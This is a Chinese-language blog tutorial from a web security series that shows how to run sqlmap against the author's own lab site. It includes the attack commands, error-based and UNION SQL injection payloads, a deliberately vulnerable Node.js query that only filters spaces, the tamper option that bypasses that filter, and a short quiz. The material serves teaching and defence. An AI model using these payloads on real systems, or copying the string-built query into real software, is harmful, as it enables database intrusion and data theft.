iT邦幫忙

2024 iThome 鐵人賽

DAY 11
0
Security

資安這條路:系統化學習網站安全與網站滲透測試系列 第 11

資安這條路:Day 11 從文章過濾惡意輸入了解 SQL injection 自動化工具 SQLmap

  • 分享至 

  • xImage
  •  

前言

延續昨天提到的 SQL injection 資料庫注入的攻擊,今天探討兩個主題

  1. 使用自動化攻擊工具攻擊 sqlmap
  2. 如果進行過濾是否可以防範

實作攻擊 sqlmap

安裝工具

  • 安裝 sqlmap
    • sudo apt install sqlmap
    • image

使用 sqlmap 進行攻擊

  • 過程預設設定他會詢問問題,這些問題的目的是讓操作者在測試過程中做出選擇,以便 sqlmap 能夠更有效地進行 SQL注入測試,同時也給操作者一定的控制權來決定測試的範圍和深度。
  • sqlmap -u "http://nodelab.feifei.tw/api/articles/0"
  • image

問題與原因

  1. 是否嘗試對目標URL本身進行URI注入?
    • 原因
      • 使用者提供的目標URL沒有GET參數,也沒有透過--data選項提供POST參數。
  2. 是否退出並確保設定正確?
    • 原因
      • 收到404錯誤回應,表明頁面未找到,這種情況下不建議繼續。
  3. 是否使用伺服器設定的cookie?
    • 原因
      • 使用者未聲明cookie,但伺服器想設定自己的cookie。
  4. 是否跳過針對其他資料庫管理系統(DBMS)的測試?
    • 原因
      • 已檢測到後端DBMS可能是PostgreSQL。
  5. 是否包含所有PostgreSQL相關的測試?
    • 原因
      • 已確定後端是PostgreSQL,詢問是否擴展測試範圍。
  6. 是否繼續測試其他參數?
    • 原因
      • 已發現URI參數'#1*'存在漏洞,詢問是否繼續測試其他可能的參數。

取得結果

  • image

  • 兩種
    a) 錯誤型注入(Error-based):
    - 類型:PostgreSQL AND error-based - WHERE or HAVING clause
    - Payload: AND 8865=CAST((CHR(113)||CHR(118)||CHR(112)||CHR(98)||CHR(113))||(SELECT (CASE WHEN (8865=8865) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(106)||CHR(98)||CHR(107)||CHR(113)) AS NUMERIC)

    b) UNION 查詢注入:
    - 類型:Generic UNION query (NULL) - 6 columns
    - Payload: UNION ALL SELECT NULL,(CHR(113)||CHR(118)||CHR(112)||CHR(98)||CHR(113))||...||CHR(113)),NULL,NULL,NULL,NULL-- TDLY

撰寫過濾程式碼

今日 Coomit

https://github.com/fei3363/ithelp_web_security_2024/commit/94e6c288de3ff8282816833933e8de7cf88294b2

過濾空白

  1. web/controllers/articleController.js
    新增一個 getArticleSpace2Comment function
   },

    async getArticleSpace2Comment(req, res) {
        const { id } = req.params;
        try {
            // 基本的安全檢查
            if (!/^\d+$/.test(id)) {
                // 檢查是否包含空格
                if (/\s/.test(id)) {
                    return res.status(400).json({ message: '檢測到非法字串(空格)' });
                }
        

                // 執行查詢
                const result = await db.query(`SELECT * FROM articles WHERE id = ${id}`);
                if (result.rows.length === 0) {
                    return res.status(404).json({ message: '文章不存在' });
                }
                res.json(result.rows[0]);
            } else {
                // 如果是純數字,直接執行查詢
                const result = await db.query(`SELECT * FROM articles WHERE id = ${id}`);
                if (result.rows.length === 0) {
                    return res.status(404).json({ message: '文章不存在' });
                }
                res.json(result.rows[0]);
            }
        } catch (error) {
            res.status(500).json({ error: error.message });
        }
    }

  1. web/routes/articlesRouter.js
router.get('/space/:id', articleController.getArticleSpace2Comment);

實作攻擊

單純攻擊

sqlmap -u "http://nodelab.feifei.tw/api/articles/space/1"

發現無法攻擊成功

image

sqlmap 進階用法

sqlmap -u "http://nodelab.feifei.tw/api/articles/space/1" --tamper=space2comment

image

指令解釋

-u:指定目標 URL。
--tamper=space2comment:使用 tamper 腳本將空格轉換為註解,以繞過可能的防護機制。

總結

本教學探討了 SQL injection 攻擊的兩個主要方面:使用自動化工具 sqlmap 進行攻擊,以及實施基本過濾技術來防範攻擊。我們詳細介紹了 sqlmap 的安裝和使用過程,展示了它如何檢測和利用 SQL 注入漏洞。同時,我們也討論了一種簡單的防禦方法:過濾輸入中的空白字串。然而,我們發現這種方法可能被進階的 sqlmap 技術繞過,突顯了 SQL 注入防禦的複雜性。

小試身手

  1. sqlmap 主要用於什麼目的?
    a) 網路掃描
    b) 密碼破解
    c) SQL 注入攻擊
    d) 病毒檢測

    解析:正確答案是 c) SQL 注入攻擊。sqlmap 是一款專門用於檢測和利用 SQL 注入漏洞的開源滲透測試工具。

  2. 在使用 sqlmap 時,為什麼工具會詢問多個問題?
    a) 為了增加使用難度
    b) 為了收集使用者資訊
    c) 為了優化攻擊策略
    d) 為了測試使用者的安全知識

    解析:正確答案是 c) 為了優化攻擊策略。sqlmap 詢問這些問題是為了讓操作者能夠根據具體情況調整測試範圍和深度,從而更有效地進行 SQL 注入測試。

  3. 本教學中提到的簡單防禦方法是什麼?
    a) 加密資料庫
    b) 使用防火牆
    c) 過濾輸入中的空白字串
    d) 禁用資料庫存取

    解析:正確答案是 c) 過濾輸入中的空白字串。教學中展示了一個透過檢測和過濾輸入中的空格來防禦 SQL 注入的方法。

  4. 使用 --tamper=space2comment 參數的目的是什麼?
    a) 增加攻擊速度
    b) 繞過空白字串過濾
    c) 改變資料庫類型
    d) 隱藏攻擊來源

    解析:正確答案是 b) 繞過空白字串過濾。這個參數使用了一個 tamper 腳本,將空格轉換為註解,以此來繞過針對空白字串的過濾防護機制。

  5. 根據教學,下列哪項陳述是正確的?
    a) 簡單的輸入過濾可以完全防止 SQL 注入攻擊
    b) sqlmap 無法繞過基本的防禦措施
    c) SQL 注入防禦是一個複雜的問題,需要多層防護
    d) 使用 sqlmap 總是能成功進行攻擊

    解析:正確答案是 c) SQL 注入防禦是一個複雜的問題,需要多層防護。教學展示了即使實施了基本的過濾,進階的 sqlmap 技術仍可能繞過防禦,說明了 SQL 注入防禦的複雜性。

實作清單

  1. 安裝 sqlmap

    • 使用指令:sudo apt install sqlmap
  2. 使用 sqlmap 進行基本攻擊

    • 運行指令:sqlmap -u "http://nodelab.feifei.tw/api/articles/0"
    • 回答 sqlmap 提出的問題
  3. 實現輸入過濾

    • 修改 web/controllers/articleController.js,新增 getArticleSpace2Comment 函數
    • 更新 web/routes/articlesRouter.js,新增新的路由
  4. 測試過濾效果

    • 使用指令:sqlmap -u "http://nodelab.feifei.tw/api/articles/space/1"
  5. 使用進階 sqlmap 技術

    • 運行指令:sqlmap -u "http://nodelab.feifei.tw/api/articles/space/1" --tamper=space2comment
    • 觀察結果並分析防禦效果

上一篇
資安這條路:Day 10 從文章功能了解 Union Select SQL injection
下一篇
資安這條路:Day 12 探索 ORM 機制與網站檔案上傳漏洞
系列文
資安這條路:系統化學習網站安全與網站滲透測試30
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言